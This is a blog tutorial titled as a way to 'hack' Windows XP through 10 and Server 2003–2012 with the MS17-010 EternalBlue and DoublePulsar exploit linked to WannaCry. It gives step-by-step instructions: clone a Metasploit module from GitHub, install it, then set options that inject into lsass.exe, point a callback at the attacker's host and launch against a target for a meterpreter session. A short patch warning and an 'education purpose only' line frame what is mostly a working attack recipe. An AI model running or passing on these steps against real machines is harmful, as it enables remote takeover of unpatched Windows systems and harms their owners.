MS_17_010 Eternalblue & Double Pulsar Remote Code Execution(WannaCry) Hack Windows Server and windows xp, Vista 7,8,10

MS_17_010 Eternalblue & Double Pulsar Remote Code Execution(WannaCry) Hack  Windows Server 2003,2008,2012 and Windows XP, Vista 7,8,10

Eternalblue & Double Pulsar Remote Code Execution (MS_17_010)

Hack windows 7,8,10 & 2003,2008, 2012 Server. 

Through this Vulnerability and Exploit Wanna Cry Ransomware is spreading over the internet, Biggest Cyber Attack using Ransomeware till date through NSA Leaked Exploit.

Hacker group is asking for 300$ money after infecting the machine via Bitcoins.
Beware and update the security patches provided by Microsoft and also disable the smb service for time being. 

For more information About this Cyber Attack on WannaCry and how to be safe from this attack all the information you can read Click here to read.



Lets Exploit and have hands on this vulnerability using Metasploit. 

Required: Metasploit Framework

Attacker machine.

Victim Machine ( Demo purpose).

Wine Installed and Configured.

Introduction

This exploit is combination of two tools “Eternal Blue” which is use as backdooring in windows and “Doublepulsar” which is used for injecting dll file with the help of payload. So we will manually add this exploit in metasploit framework and step up for attacking window server 2008.

Attacker: kali Linux

Target: window 7 and window server 2008

Open the terminal and type following command to download this exploit from git hub.

Git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

After the required exploit will get downloaded then open the folder and copy Eternal Blue- Doublepulsar .rb ruby file so that we can add this exploit inside metasploit.

Now past the copied ruby file inside given path Usr/share/metasploit Framework /module/exploits/windows/smb which will add this exploit inside metasploit framework.

Then load metasploit framework to start and type following for testing zero day exploit


Msfconsole

This module exploits vulnerability on SMBv1 and SMBv2 protocols through eternalblue. After that doublepulsar is used to inject remotely a malicious dll.


Use windows/smb/eternalblue_doublepulsar

Msf exploit (eternalblue_doublepulsar)> set eternalbluepath /root/Desktop/ eternalblue_doublepulsar-metasploit/deps

Msf exploit (eternalblue_doublepulsar)> set doublepulsarpath /root/Desktop/ eternalblue_doublepulsar-metasploit/deps

Msf exploit (eternalblue_doublepulsar)>set targetarchitecture x64

Msf exploit (eternalblue_doublepulsar)>set processinject lsass.exe

Msf exploit (eternalblue_doublepulsar)>set lhost 10.118.7.153

Msf exploit (eternalblue_doublepulsar)>set rhost 10.118.7.10

Msf exploit (eternalblue_doublepulsar)>run

 In last from screenshot you can see only we need to set target’s architecture and IP before launching exploit and then when all information is set then launch your attack which will give you meterpreter session successfully like shown in figure.

Any Query regarding this vulnerability comment below.

This is for Education Purpose only.

Keywords:

How to hack Windows 7, 8 ,10 , Windows Server

MS_17_10 Vulnerability

Kali linux 2.1

Eternalblue & Double Pulsar Exploit

Remote Code Execution

NSA Leaked Exploit
WannaCry

• Tweet
• Share
• Share
• Share
• Share

About Vineet Bharadwaj

Vineet Bharadwaj is the Founder of this Website. He is a Security Researcher, Pentration Tester and Certified Ethical Hacker with experience in various aspects of Information Security and Co author in "hakin9.org IT Security Magazine" n "E-forensics Magazine" and Author of Ebook "Wireshark: The packet sniffer" Also Got listed In many Big companies site's Hall Of Fame Other then He is a SEO expert,Web Analytic Expert, Blogger, Web Developer n Designer, Social Media Marketing. His all efforts is to make internet more Secure.

Related Post